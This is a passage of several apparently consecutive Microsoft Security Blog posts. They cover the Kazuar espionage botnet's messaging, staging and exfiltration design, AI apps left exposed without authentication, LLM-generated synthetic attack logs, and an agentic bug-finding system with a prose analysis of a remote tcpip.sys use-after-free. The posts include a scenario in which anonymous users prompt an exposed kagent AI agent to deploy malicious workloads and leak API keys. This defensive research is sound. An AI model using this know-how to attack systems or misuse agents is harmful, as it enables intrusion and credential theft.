Data collected by these components is aggregated, encrypted, and written to the malware’s working directory, where it is staged for subsequent exfiltration to the C2 server.

Botnet operations

With the botnet setup complete, configurations instantiated, and a leader elected, Kazuar transitions into its steady state operational phase. In this state, the elected Kernel leader centrally coordinates tasking and data collection across participating modules while maintaining a deliberately low observable footprint. Worker modules execute tasks asynchronously based on configuration and assignments received from the Kernel, collecting system, file, window, and user activity data according to defined schedules and limits.

Module-to-module messaging

When one module needs to communicate with another, all required information is assembled into a structured message packet. Multiple packet formats are defined, with the specific format determined by the message type and intended action.

These message packets are constructed using Google Protocol Buffers (Protobuf), which provides a structured, schema‑based format similar in concept to JSON. Using Protobuf allows the malware to efficiently serialize, transmit, and parse messages through standard library functions.

Messages destined for the Bridge module include additional fields that describe how the request should be forwarded to the remote C2 infrastructure. These fields specify transport level details, including the external communication mechanism to be used.

The TransportType field can specify one of three supported communication methods. The default transport is typically HTTP, using the C2 URLs in the default configuration.

When sending a message, the dispatch function examines the contents of the message packet to determine the appropriate delivery mechanism, resolves the corresponding Mailslot name or window class identifier, and routes the packet to the intended module.

For example, if the TransportType is set to EWS, the packet is delivered to the Bridge module, which then uses its Exchange communication component to encapsulate the data and deliver it to the remote C2 server via email.

Messages originate from the Kernel leader, except for a couple of worker tasks that send messages to the Kernel module based on their configuration.

Working directory

Kazuar uses a dedicated working directory as a centralized on‑disk staging area to support its internal operations across modules. This directory is defined through configuration and is consistently referenced using fully qualified paths to avoid ambiguity across execution contexts. Within the working directory, Kazuar organizes data by function, isolating tasking, collection output, logs, and configuration material into distinct locations. This design allows the malware to decouple task execution from data storage and exfiltration, maintain operational state across restarts, and coordinate asynchronous activity between modules while minimizing direct interaction with external infrastructure. Collected artifacts are typically written incrementally, encrypted before staging, and retained locally until explicitly forwarded to the C2 infrastructure through the Bridge module.

Within this working directory, Kazuar maintains separate storage locations for the following functional data types:

• Peeps
• Autos
• Files
• Hashes
• Result files
• Task files
• Config files
• Common wordlist
• Common exe
• Logs
• Keylogger

This structured use of the filesystem enables Kazuar to operate modularly, maintain persistence state across leadership changes or reboots, and blend malicious activity into routine file system usage.

Module tasks

The list of commands available for the Worker modules to perform is extensive and has many features, from arbitrary command/script execution to preformatted forensic data collection functions, as described in the Unit 42 blog.

The Kernel module task handler has a few additional functions that handle commands issued from the leader Kernel module.

System info gathering

System info gathering is often enabled by default in the configuration. This causes an initial collection of system information when the agent starts up. This task collects an extensive amount of information about the system and its user.

Screenshots are also taken through various methods and saved for exfiltration both automatically through the configuration or when a task is issued.

Who is Secret Blizzard?

The United States Cybersecurity and Infrastructure Security Agency (CISA) has attributed Secret Blizzard to Center 16 of Russia’s Federal Security Service (FSB), which is one of Russia’s Signals Intelligence and Computer Network Operations (CNO) services responsible for intercepting and decrypting electronic data as well as the technical penetration of foreign intelligence targets. Secret Blizzard overlaps with activity tracked by other security vendors as VENOMOUS BEAR, Uroburos, Snake, Blue Python, Turla, WRAITH, and ATG26.

Secret Blizzard is known for targeting a wide array of verticals, but most prominently ministries of foreign affairs, embassies, government offices, defense departments, and defense-related companies worldwide. Secret Blizzard focuses on gaining long-term access to systems for intelligence collection using extensive resources such as multiple backdoors, including some with peer-to-peer functionality and C2 communication channels. During intrusions, the threat actor collects and exfiltrates documents, PDFs, and email content. In general, Secret Blizzard seeks out information of political importance with a particular interest in advanced research that might impact international political issues.

Mitigation and protection guidance

To harden networks against the Secret Blizzard activity listed above, defenders can implement the following:

Strengthen Microsoft Defender for Endpoint configuration

• Microsoft Defender XDR customers can implement attack surface reduction rules to harden an environment against techniques used by threat actors.
  • Block execution of potentially obfuscated scripts.
  • Block process creations originating from PSExec and WMI commands
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block abuse of exploited vulnerable signed drivers.
• Enable network protection in Microsoft Defender for Endpoint.
• Ensure that tamper protection is enabled in Microsoft Defender for Endpoint.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.

Strengthen Microsoft Defender Antivirus configuration

• Turn on PUA protection in block mode in Microsoft Defender Antivirus.
• Turn on  cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques.
• Turn on Microsoft Defender Antivirus real-time protection.

Strengthen operating environment configuration

• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Implement PowerShell execution policies to control conditions under which PowerShell can load configuration files and run scripts.
• Turn on and monitor PowerShell module and script block logging.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Secret Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Over the Kazuar’s Nest: Cracking Down on a Freshly Hatched Backdoor Used by Pensive Ursa (Aka Turla)
• 🇷🇺 COMmand & Evade: Turla’s Kazuar v3 Loader
• Russia’s FSB malign activity: factsheet
• Hunting Russian Intelligence “Snake” Malware

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Kazuar: Anatomy of a nation-state botnet appeared first on Microsoft Security Blog.

AI and agentic application deployments on cloud-native platforms are increasing, and they often prioritize speed over secure configuration. Our observations from aggregated and anonymized Microsoft Defender for Cloud signals showed cases where AI services were publicly exposed with weak or missing authentication, creating exploitable misconfigurations that attackers actively abused. These issues enabled low-effort, high-impact outcomes such as remote code execution, credential theft, and access to sensitive internal tools and data.

Exploitable misconfigurations bypass traditional vulnerability models, allowing threat actors to leverage them without using sophisticated techniques or zero-days. Organizations should therefore surface these misconfigurations early to reduce their attack surface and protect their critical AI workloads. Defender for Cloud can help customers identify and prioritize risks associated with such misconfigurations by detecting exposed Kubernetes services and unsafe deployment patterns.

In this blog, we look at examples of exploitable misconfigurations we’ve observed in some of the popular AI applications and platforms. We also provide practical guidance on how to deploy AI agents securely.

Background

AI and agentic applications are being rolled out at scale, moving rapidly from experimentation to broadly deployed systems. These applications are no longer isolated components; rather, they sit at the center of workflows, automation, and decision-making across organizations.

Based on our observation of the aggregated and anonymized signals coming from Microsoft Defender for Cloud, many of the AI deployments in real-world environments run on cloud-native infrastructure, with Kubernetes emerging as the preferred operating layer for AI workloads. This finding aligns with Cloud Native Computing Foundation’s research, which shows that organizations rely heavily on Kubernetes clusters to run their AI workloads.

As AI applications become connected to more internal systems and data sources, the impact of mistakes increases: a single misconfiguration could not only expose an application endpoint, it could also allow access to sensitive data, infrastructure, or operational capabilities behind it.

In practice, many of the most dangerous risks in AI environments don’t come from novel attack techniques or zero-day vulnerabilities. Instead, they stem from exploitable misconfigurations—user’s configuration choices that make powerful capabilities externally reachable when insufficiently protected, creating clear paths to abuse.

What is an exploitable misconfiguration?

We use the term exploitable misconfiguration to describe a configuration issue where public exposure (for example, an internet-reachable user interface or API) is combined with missing or weak authentication and authorization. This combination creates a practical attack path that could result in serious outcomes such as remote code execution (RCE), sensitive data exposure, or tampering with pipelines and artifacts, often without requiring complex exploitation.

Exploitable misconfigurations create low-effort paths to high-impact compromises, making hardening more than a nice-to-have. Defender for Cloud signals indicate that more than half of cloud-native workload exploitations, including AI applications, stem from misconfigurations. In that context, remediation becomes a race against the clock: organizations need to fix these issues quickly or attackers will leverage them first.

Exploitable misconfigurations in popular AI applications

In the following sections, we discuss examples of exploitable misconfigurations found in popular applications and platforms across the AI and agentic ecosystem.

MCP servers

The Model Context Protocol (MCP) lets AI agents discover and interact with external tools and data sources in a standardized way. MCP servers can be installed locally or accessed remotely, with support for Server-Sent Events (SSE) and streamable HTTP. While this protocol supports authorization mechanisms, including OAuth, it doesn’t enforce them. As a result, misconfigured MCP servers become a critical and easily exploitable issue in AI and agentic environments.

We’ve observed multiple instances of remotely exposed MCP servers being deployed without authentication. In these instances, unauthenticated access allowed direct interaction with sensitive internal tools, including ticketing systems, HR systems, and private code repositories. This issue results from insecure MCP server implementations that execute tool actions in the server’s security context, instead of the context of the user (or agent). Signals from Defender for Cloud shows that 15% of remote MCP servers are severely insecure and allow unauthenticated access to sensitive internal data and operational capabilities.

Mage AI

Mage AI is an open-source platform for building, running, and orchestrating data and AI pipelines. We found that when Mage AI is deployed on Kubernetes using the official Helm chart, the default installation exposed the application through an internet-facing LoadBalancer on port 6789 with no authentication enabled. The exposed web UI included functionality for executing shell commands, allowing arbitrary code execution inside the application using the mounted service account. In the default configuration, this service account was bound to highly privileged roles that effectively granted cluster-admin capabilities. This default setup was observed in the wild and was actively exploited, resulting in unauthenticated, internet-accessible shell access with high privileges.

Through responsible disclosure, we reported this issue to Mage AI, and authentication is now enabled by default. We’d like to thank Mage AI for responding to and addressing this issue.

kagent

kagent is an open-source framework under CNCF’s CNAI landscape that’s designed to run AI agents on Kubernetes. When deployed using the official Helm chart, kagent comes with various AI agents configured as Kubernetes services, such as the k8s-agent, which assists with cluster operations. A user could then talk to the AI agent and ask it to perform operations (for example, deploy a privileged pod) on the Kubernetes cluster.

While kagent isn’t publicly exposed by default, it does lack authentication by default, which means that if this application is exposed publicly, anonymous users would be able to ask the AI agents to deploy malicious and privileged workloads. These workloads could then facilitate cluster-to-cloud lateral movements. Using this unauthenticated access, the attackers could also exfiltrate credentials from other workloads running on the cluster and configure malicious models and AI agents, among others, in the kagent application.

Figure 2 shows how threat actors could exfiltrate API keys for AI services supported by kagent, such as Azure OpenAI API keys, simply by interacting with the AI agent:

Microsoft AutoGen Studio

AutoGen Studio is a low‑code agentic framework for building multi‑agent workflows. It lets users configure agent skills, assign models, and design the workflows that coordinate tasks across agents. Microsoft AutoGen Studio ships without authentication enabled by default:

AutoGen Studio isn’t publicly exposed by default. However, an attacker could tamper with components, deploy malicious agent configurations, or extract API keys from linked AI services on exposed ones, as shown in Figure 4:

Minimizing the risk: Practical deployment guidance

AI applications are at risk of misconfiguration as organizations race to adopt and integrate AI capabilities. Teams deploy agents, connect models to internal tools, and operationalize data pipelines, often stitching together new components on top of existing infrastructure. In such scenarios, speed might get prioritized over secure defaults, least-privilege access, and proper isolation. At the same time, code and configuration are increasingly produced through vibe coding, where AI-assisted code might get generated using weak security practices. These factors could result in AI applications getting deployed with insecure configurations, which could then lead to severe consequences.

Apart from the applications discussed previously, we’ve observed instances misconfigurations in the following AI applications in the wild:

• Agentgateway
• MLRun
• Numaflow
• OpenLIT
• Microsoft Agent Framework Dev UI
• Nvidia Nemo Agent Toolkit
• Marimo
• Comfy UI
• Ray Dashboard
• MCP Hub Dashboard

With AI systems being adopted and integrated at a rapid pace, the question is no longer whether to use AI, but how to deploy it safely. Organizations should ensure that their security controls are keeping pace, and that they start treating AI services like any other high-impact workload, not as experimental tooling:

• Public access is a security choice: Some AI services need to be internet-facing, but public access should be an explicit decision and protected with authentication, authorization, and appropriate network controls.
• Enforce authentication and authorization everywhere: Apply authentication controls consistently, including internal AI services and tool endpoints.
• Context and least privilege: Workloads should operate in the context of an authenticated user or agent, not under broad service-level identities. Permissions should be scoped to the minimum required.
• Continuously audit AI workloads: Track what AI services exist, what they can access, and how they are exposed as systems evolve.

How Microsoft Defender for Cloud helps detect exposures in Kubernetes

Exploitable misconfigurations are a reminder that many breaches in cloud-native environments don’t start with a zero-day, they start with something reachable that shouldn’t be, paired with improper access controls.

If such misconfigured AI applications are exposed publicly, often through Kubernetes Services, Microsoft Defender for Containers customers can benefit from detection capabilities through the alert Exposed Kubernetes service detected. This alert identifies the creation or update of Kubernetes load-balancer services that expose these applications, helping teams prioritize the issues that represent the highest impact and lowest-effort paths for attackers.

This research is provided by Microsoft Defender Security Research with contributions from Yossi Weizman, Tushar Mudi, and members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post When configuration becomes a vulnerability: Exploitable misconfigurations in AI apps appeared first on Microsoft Security Blog.

Logs and telemetry are the foundation of modern cybersecurity. They enable threat detection, incident response, forensic investigation, and compliance across endpoints, networks, and cloud environments. Yet, despite their importance, high‑quality security attack logs are notoriously difficult to collect, especially at scale. 

Real‑world security telemetry is often composed of repeated benign activity occurring across environments and with very rare malicious activity. Gathering, labeling, and maintaining datasets with real attack logs is costly and operationally challenging. It requires not only labeling malicious activities, but also fully reconstructing attack scenarios. These challenges significantly slow detection engineering and limit the quality of both the rule-based detection authoring and anomaly-detection approaches. 

In this post, we explore a different path: using AI to generate realistic, high‑fidelity synthetic security attack logs. By translating attacker behaviors, expressed as tactics, techniques, and procedures (TTPs)—directly into structured telemetry, we aim to accelerate detection development while preserving realism and security. 

Why is this work important for Microsoft Defender customers? 

For Microsoft Defender customers, this work is crucial because it directly addresses the challenge of obtaining high-quality, realistic security attack logs needed for effective threat detection and response. By leveraging AI-driven synthetic log generation, organizations can accelerate the development of detection rules and AI-based automation approaches, while ensuring privacy and reducing operational overhead. Synthetic logs enable customers to simulate a broader range of attack scenarios—including rare and emerging threats—without exposing sensitive data or relying on costly lab-based simulations. Ultimately, this approach enhances the agility and effectiveness of Microsoft Defender detection and response capabilities, helping customers stay ahead of evolving cyber threats. 

Why Synthetic Security Logs in addition to Lab Simulations? 

Synthetic data has been widely adopted in various fields as a privacy-conscious substitute for real data, and it offers even greater advantages in cybersecurity. It enables the creation of safe, shareable datasets that avoid exposure of sensitive customer information, allows simulation of rare or emerging attacks that are challenging to observe in real environments, accelerates the process of detection engineering and testing, and supports reproducible experiments for benchmarking and evaluation. 

While synthetic logs are not a replacement for all lab-based validation, they can complement lab simulations by speeding up early-stage detection design, testing, and coverage expansion. Traditionally, generating realistic attack telemetry requires executing real attacks in controlled lab environments. While accurate, this approach is slow, labor‑intensive, and difficult to scale. It also limits agility for the security teams responsible for defending our systems and delays the rollout of new threat detections into production. This blog examines whether AI-assisted synthetic log generation can provide similar fidelity, without the operational overhead of lab‑based attack execution. 

Core Idea: From TTPs to Logs

Attackers can abuse TTP through various actions that exploit different processes. At a high level, the proposed workflow consumes “TTP + Action” as input and produces structured security logs as output. 

Input: High‑level attacker TTPs from the MITRE ATT&CK framework [1], a widely used knowledge base of adversary tactics and techniques, and concrete attacker actions. See the example below. 

Output: Realistic log entries with correctly populated fields such as “Command Line”, “Process Name”, “Parent Process Name”, and other relevant telemetry fields. 

Goal: The goal is not to reproduce logs verbatim, but to generate realistic, semantically correct logs that would accurately trigger detections, mirroring real attacker behavior. 

Approaches for Synthetic Attack Log Generation

We explore three increasingly sophisticated techniques for generating logs. 

1. Prompt‑Engineered Generation: Our baseline approach uses a series of carefully designed expert‑crafted prompts. The workflow comprises a structured, multi‑stage dialogue: 
   • Prompting: The model is given a detailed attack scenario and context. 
   • Iterative Generation: Logs are generated across multiple turns to maintain coherence. 
   • Evaluation: An independent large language model (LLM)-as-a-Judge assesses realism and consistency. 

As depicted in the following image, the prompts explicitly instruct the model to reason like a cybersecurity researcher, leverage MITRE ATT&CK knowledge, and produce coherent attack narratives. 

2. Agentic Workflow-based Generation: While the first approach works well in simpler cases, it struggles with complex, multi‑stage scenarios. To address these limitations, we introduced an agentic workflow using three specialized agents focused on different tasks: 
   • Generator Agent: Produces an initial set of logs based on the input. 
   • Evaluator Agent: Reviews logs and provides structured feedback. 
   • Improver Agent: Suggests targeted refinements based on feedback. 

As depicted in the image below, these agents collaborate in an iterative loop (generate, evaluate, improve), allowing the system to correct errors, fill gaps, and refine details over multiple turns. This collaborative process significantly improves log completeness and fidelity, especially for complex attack chains. 

3. Multi-Turn Reinforcement Learning with Verifiable Rewards: While the synthetic logs generated by the agentic workflow are often semantically correct, preserving key properties like parent‑child process relationships and event ordering, they still differ noticeably from real event logs, especially in process paths, command‑line arguments, service names and so on. This limits the usage of these logs to test detection efficacy; effective detection engineering requires reliably distinguishing benign activity from malicious behavior.  
   To address this challenge, we conduct experiments using Reinforcement Learning with Verifiable Rewards (RLVR). Instead of rigid rewards used by the evaluator agent in the previous agentic workflow approach, we use partial rewards to learn the policies as follows: 
   • We use an LLM‑as‑a‑Judge as follows to compare the synthesized data against ground‑truth logs.  
   • The model only awards partial rewards based on semantic alignment and imposes a penalty if the generated string is not an exact match of the ground-truth logs, producing a more context-aware and flexible reward signal to guide the learning process. 
   • The judge also produces reasoning, making evaluations transparent, and auditable. 

While this direction of research shows a lot of promise, it is heavily dependent on the amount of labeled training data. To address this limitation, we applied data augmentations, including: 

• Paraphrasing attack narratives while preserving technical intent 

• Perturbing parameters (e.g., replacing executable names with plausible alternatives, re-ordering flags, etc.) 

This allowed us to scale from hundreds to thousands of training examples. 

Evaluation Datasets

To ensure our approach generalizes across environments and attack types, we evaluated it on three complementary datasets: 

1. Goal‑Driven (GD) Campaigns: These are tightly scoped datasets produced by repeatable attack simulations conducted by our threat researchers. GDs are built around a specific security objective (e.g., detecting credential dumping on Windows servers). They provide clean ground truth and well‑defined attacker actions. We used a total of 10 different GD executions to evaluate our approaches. 

2. Security Datasets Project: An open‑source initiative [2] that provides malicious and benign datasets from multiple platforms, enabling broader evaluation and generalizability across different environments.  

3. ATLASv2 Dataset: The ATLASv2 dataset [3] is comprised of Windows Security Auditing logs, Sysmon logs, Firefox logs, and Domain Name System (DNS) telemetry. These logs are generated across two Windows VMs by executing 10 multi‑stage attack scenarios and introducing realistic noise and cross‑host behaviors. We limited the evaluation of synthetic attack logs to malicious activity during the attack windows. 

Note: The external datasets from the Security Datasets Project and ATLASv2 are used strictly for research and validation of our log generation methods. These datasets are not used in the development, training, or deployment of any commercial products. 

Evaluation 

Methodology: We evaluated the prompt engineering and agentic workflow approach on the three datasets across multiple reasoning and non‑reasoning models, using recall as our primary metric. Recall measures the model’s ability to generate semantically relevant log instances (true positives) expected for a given attack scenario. Our LLM‑as‑a‑Judge performs flexible matching, focusing on: 

• New process name 

• Parent process name 

• Command line semantics 

For example, a synthetic log containing “forfiles.exe” can successfully match a ground‑truth entry with the full path “D:\Windows\System32\forfiles.exe”. 

Key Results: The results in experimental evaluation demonstrate that prompt-only  approaches establish a baseline but show inconsistent performance. The agentic workflows deliver dramatic recall improvements across all datasets. Reasoning models, combined with agentic refinement, achieve the highest fidelity.  

Finally, our experiments training reinforcement learning approaches conclude that while it shows a significant promise, a substantial amount of labeled data will be required for the agent to learn effective policies to make the synthetic data identical to benign logs. 

Table 1 and Table 2 report the performance of the prompt-based and agentic workflow-based approaches, respectively. For reasoning models (o1, o3 and o3-mini), we report the recall values using a Medium reasoning effort. Overall, agentic collaboration emerges as the most effective technique for high‑quality synthetic attack logs generation. 

Across the evaluation datasets we used, AI‑driven synthetic log generation shows strong potential to produce semantically meaningful logs from TTPs and attacker actions. It can capture multi‑event sequences, preserve parent‑child process relationships, and generate realistic command lines.

This capability can accelerate detection engineering by reducing dependence on costly lab setups and enabling rapid experimentation, without sacrificing realism or safety. Our early experiments with reinforcement learning with verifiable rewards also look promising and could improve verbatim alignment when sufficient training data is available. 

References

• MITRE ATT&CK Framework: MITRE ATT&CK®  

• Security Datasets: GitHub – OTRF/Security-Datasets: Re-play Security Events 

• ATLASv2: ATLAS Attack Engagements, Version 2: 2401.01341 

This research is provided by Microsoft Defender Security Research with contributions from Raghav Batta and  members of Microsoft Threat Intelligence.

Learn more

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To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
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• Explore how to build and customize agents with Copilot Studio Agent Builder 
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The post Accelerating detection engineering using AI-assisted synthetic attack logs generation appeared first on Microsoft Security Blog.

Today Microsoft announced a major step forward in AI-powered cyber defense: our new agentic security system helped researchers find 16 new vulnerabilities across the Windows networking and authentication stack—including four Critical remote code execution flaws in components such as the Windows kernel TCP/IP stack and the IKEv2 service. They used the new Microsoft Security multi-model agentic scanning harness (codename MDASH) which was built by Microsoft’s Autonomous Code Security team. Unlike single-model approaches, the harness orchestrates more than 100 specialized AI agents across an ensemble of frontier and distilled models to discover, debate, and prove exploitable bugs end-to-end.

The results speak for themselves: 21 of 21 planted vulnerabilities found with zero false positives on a private test driver; 96% recall against five years of confirmed Microsoft Security Response Center (MSRC) cases in clfs.sys and 100% in tcpip.sys; and an industry-leading 88.45% score on the public CyberGym benchmark of 1,507 real-world vulnerabilities—the top score on the leaderboard, roughly five points ahead of the next entry.

The strategic implication is clear: AI vulnerability discovery has crossed from research curiosity into production-grade defense at enterprise scale, and the durable advantage lies in the agentic system around the model rather than any single model itself. Codename MDASH is being used by Microsoft security engineering teams and tested by a small set of customers as part of a limited private preview.

This post explains how codename MDASH works, what we shipped today, what we learned along the way, and how you can sign up for the private preview.  

AI-powered vulnerability discovery at hyper-scale

The Microsoft Autonomous Code Security (ACS) team was assembled to take AI-powered vulnerability research from a research curiosity to production engineering at enterprise scale. Several members of this team came to Microsoft from Team Atlanta, the team that won the $29.5 million DARPA AI Cyber Challenge by building an autonomous cyber-reasoning system that found and patched real bugs in complex open-source projects. The lessons from that work, especially the level of engineering required to make the frontier language models perform professional-level security auditing, are what our new multi-model agentic scanning harness (codename MDASH) is built around.

Microsoft’s code base is challenging for security auditing for a few reasons: 

• Massive proprietary surface. Windows, Hyper-V, Azure, and the device-driver and service ecosystems around them are private Microsoft codebases—not part of any commodity language model’s training corpus, and genuinely hard to reason about: kernel calling conventions, IRP and lock invariants, IPC trust boundaries, and component-internal idioms do not yield to pattern matching. On this surface, a model has to actually reason. 

• DevSecOps at scale. Every finding has a real owner, a triage process, and a Patch Tuesday to land on. There is no quiet drawer for speculative findings; if a tool produces noise, the noise is everyone’s problem. 

• High-value targets. Windows, Hyper-V, Xbox, and Azure serve billions of users. The payoff for finding a single hard bug is unusually high—and so is the cost of a false positive in a tier-one component. 

The findings in this post are the result of close collaboration between ACS, Microsoft Offensive Research & Security Engineering (MORSE), and Microsoft Windows Attack Research and Protection (WARP). WARP and MORSE own the deep, hard end of Windows offensive research; ACS brings the AI-powered discovery and validation pipeline. Together, the teams have collaborated to build a mature harness.

Codename: MDASH—Microsoft Security’s new multi-model agentic scanning harness

Codename MDASH is, at its core, an agentic vulnerability discovery and remediation system. The model is one input. The system is the product.

A useful mental model is to think of it as a structured pipeline that takes a code base and emits validated, proven findings:

• Prepare stage: Ingests the source target, builds language-aware indices, and then draws the attack surface and threat models by analyzing the past commits. 
• Scan stage: Runs specialized auditor agents over candidate code paths, emitting candidate findings with hypotheses and evidence. 
• Validate stage:  Runs a second cohort of agents—debaters—that argue for and against each finding’s reachability and exploitability. 
• Dedup stage: Collapses semantically equivalent findings (for example, patch-based grouping).
• Prove stage: Constructs and executes triggering inputs where the bug class admits it. The prove stage validates the pre-condition dynamically and formulates the bug-triggering inputs to prove existence of vulnerability (for example, ASan in C/C++). 

Three properties make this work in practice:  

1. An ensemble of diverse models that are effectively managed by codename MDASH. No single model is best at every stage. The multi-model agentic scanning harness runs a configurable panel of models. That includes SOTA models as the heavy reasoner, distilled models as a cost-effective debater for high-volume passes, and a second separate SOTA model as an independent counterpoint. Disagreement between models is itself a signal: when an auditor flags something as suspect and the debater can’t refute it, that finding’s posterior credibility goes up.

2. Specialized agents. An auditor does not reason like a debater, which does not reason like a prover. Each pipeline stage has its own role, prompt regime, tools, and stop criteria. We don’t expect one prompt to do everything; we don’t expect one agent to recognize, validate, and exploit a bug in a single pass. Codename MDASH has more than 100 specialized agents, constructed through deep research with past common vulnerabilities and exposures (CVEs) and their patches, working independently to discover the bugs, and their auditing results will be ensembled as a single report.

3. End-to-end pipeline with extensible plugins. The pipeline is opinionated, but it is not closed. Plugins let domain experts inject context the foundation models can’t see on their own—kernel calling conventions, IRP rules, lock invariants, IPC trust boundaries, codec state machines. The CLFS proving plugin we describe below is one such example: a domain plugin that knows how to construct a triggering log file given a candidate finding. For example, the Windows team extended reasoning with custom code analysis database, or CodeQL database can be also leveraged. 

The payoff for this architecture is portability across model generations. The pipeline’s targeting, validation, dedup, and prove stages are model agnostic by construction, which allows the harness to get the best of what any model has to offer. When a new model lands, A/B testing it against the current panel is one configuration flip. When a model improves, the customer’s prior investment—scope files, plugins, configurations, calibrations—all carry over, allowing customers to ride the frontier of security value.  

Using codename MDASH for security research

To evaluate bug-finding capabilities of the multi-model agentic scanning harness you need to first ground on code that has never been seen by a model. This eliminates the possibility that a model “learned the answers to the test.” We scanned StorageDrive, a sample device driver used in Microsoft interviews for offensive security researchers. The driver contains 21 deliberately injected vulnerabilities, including kernel use-after-frees (UAFs), integer handling issues, IOCTL validation gaps, and locking errors. Because StorageDrive is a private codebase that has never been published, we can safely assume it was not included in the training data of modern language models.

We ran the harness on StorageDrive using its default configuration. The results were striking: all 21 ground-truth vulnerabilities were correctly identified, with zero false positives in this run.

This simple test shows that the reasoning and vulnerability discovery capabilities of codename MDASH can approximate professional offensive researchers.

We then use the harness to conduct security auditing of the most security-critical part of Windows, namely, TCP/IP network stack.

The 5.12.2026 Patch Tuesday cohort

Across the Windows network stack and adjacent services, today’s Patch Tuesday includes 16 CVEs our engineering teams found using codename MDASH.

These vulnerabilities are 10 kernel-mode / 6 usermode. The majority are reachable from a network position with no credentials. Let’s take a closer look.

Two deep dives

The two findings below are characteristic of what the new Microsoft Security multi-model agentic scanning harness pipeline can do that a single model harness cannot. The first is a kernel race-condition use-after-free that requires reasoning about object lifetime across non-trivial control flow and three independent concurrent free paths. The second is an alias-aliasing double-free that spans six source files and is only visible against the contrast of a correctly handled site elsewhere in the same code base.

CVE-2026-33827—Remote unauthenticated UAF in tcpip.sys via SSRR

The vulnerability arises in the Windows IPv4 receive path due to improper lifetime management of a reference-counted Path object within Ipv4pReceiveRoutingHeader. After invoking a routing lookup, the function drops its sole owned reference to the Path through a dereference operation, but later reuses the same pointer when handling Strict Source and Record Route (SSRR) processing. Because the object’s reference count might reach zero at the earlier release point, the underlying memory can be returned to a per-processor lookaside allocator and subsequently reused, turning the later access into a classical use-after-free in kernel context.

This occurs on a network-triggerable path that processes attacker-controlled packet metadata, making it reachable at elevated IRQL within the networking stack. The core issue is escalated by the concurrency model of the path cache and associated cleanup routines. Once the caller relinquishes ownership, the Path object’s liveness depends entirely on external references held by shared data structures. Multiple independent subsystems—including the path-cache scavenger, explicit flush routines, and interface state-driven garbage collection—can concurrently remove the object and drop the final reference. These operations are not synchronized with the receive-side execution window in this function, and no lock is held to serialize access. As a result, on SMP systems the freed object can be reclaimed and overwritten before the subsequent dereference, converting a simple ordering bug into a race-driven use-after-free with real execution feasibility.

From an exploitation standpoint, the vulnerability is reachable by a remote, unauthenticated attacker through crafted IPv4 packets carrying the SSRR option that pass standard validation checks. The stale pointer dereference can trigger a chain of access through freed memory, potentially leading to controlled reads and a stronger corruption primitive if the reclaimed allocation is attacker-influenced. Although exploitation requires winning a narrow timing window and shaping allocator reuse, the combination of remote reachability, kernel execution context, and the potential for controlled memory manipulation elevates the issue to Critical severity.

Why single-model systems missed this bug

A single model harness tends to miss this bug because the lifetime violation is not locally visible even within the same function. The release of the Path reference and its later reuse are separated by non-trivial control flow—an alternate branch, multiple validation checks, and several early-drop conditions—which break the straightforward “release-then-use” pattern most detectors rely on. Without tracking reference ownership across these intermediate states, the model sees two independent operations rather than a temporal dependency. As a result, the dereference does not look suspicious in isolation, even though the reference count semantics guarantee the pointer might already be invalid.

The decisive signal also lives outside the immediate context. The same logical operation appears elsewhere with the correct order; all needed data is derived from the object before dropping the reference. This makes this call-site an inconsistency rather than an obvious misuse.

